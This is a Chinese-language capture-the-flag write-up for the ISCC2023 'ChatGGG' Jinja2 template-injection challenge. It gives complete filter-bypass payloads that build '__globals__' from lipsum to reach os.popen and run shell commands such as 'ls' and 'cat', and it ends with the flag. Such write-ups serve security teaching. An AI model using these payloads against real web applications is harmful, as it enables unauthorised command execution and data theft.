ISCC2023-ChatGGG 一道ssti注入题目

进入场景，一个输入框，经过测试发现是一个ssti注入

经过测试过滤了以下字符

_下划线，’单引号，+加号，*星号，global关键字，双大括号{{}}

双大括号过滤可以使用{%  %}来绕过

查看配置文件，确认是jinja2模板

由于必须要使用下划线，globals关键字，必须要想办法构造出来，可以使用lipsum构造这些特殊字符

下划线构造

{% set pop=dict(pop=a)|join %} {% set underline=(lipsum|string|list)|attr(pop)(18) %}

Underline为下划线_

使用join过滤器构造__globals__

{% set pop=dict(pop=a)|join %} {% set underline=(lipsum|string|list)|attr(pop)(18) %}{% set globa=(underline,underline,dict(glo=1,bals=2)|join,underline,underline)|join %}{% print(globa) %}

查看全局

查看当前目录文件

{% set pop=dict(pop=a)|join %} {% set underline=(lipsum|string|list)|attr(pop)(18) %} {% set globa=(underline,underline,dict(glo=1,bals=2)|join,underline,underline)|join %} {% set getitem=(underline,underline,dict(getitem=a)|join,underline,underline)|join %} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join %} {% set cmd=dict(ls=a)|join %} {% set read=(dict(read=a)|join) %} {% print(lipsum|attr(globa)|attr(getitem)(os)|attr(popen)(cmd))|attr(read)() %}

发现有flllaag.txt

由于.和*过滤使用通配符?绕过，

{% set pop=dict(pop=a)|join %} {% set underline=(lipsum|string|list)|attr(pop)(18) %} {% set globa=(underline,underline,dict(glo=1,bals=2)|join,underline,underline)|join %} {% set getitem=(underline,underline,dict(getitem=a)|join,underline,underline)|join %} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join %} {% set cmd=dict(ls=a)|join %} {% set read=(dict(read=a)|join) %} {% print(lipsum|attr(globa)|attr(getitem)(os)|attr(popen)("cat flllaag?txt"))|attr(read)() %}

得到flag

ISCC{sH8UtQ4kiz7DIb85joyR2A94MdOl3TL6}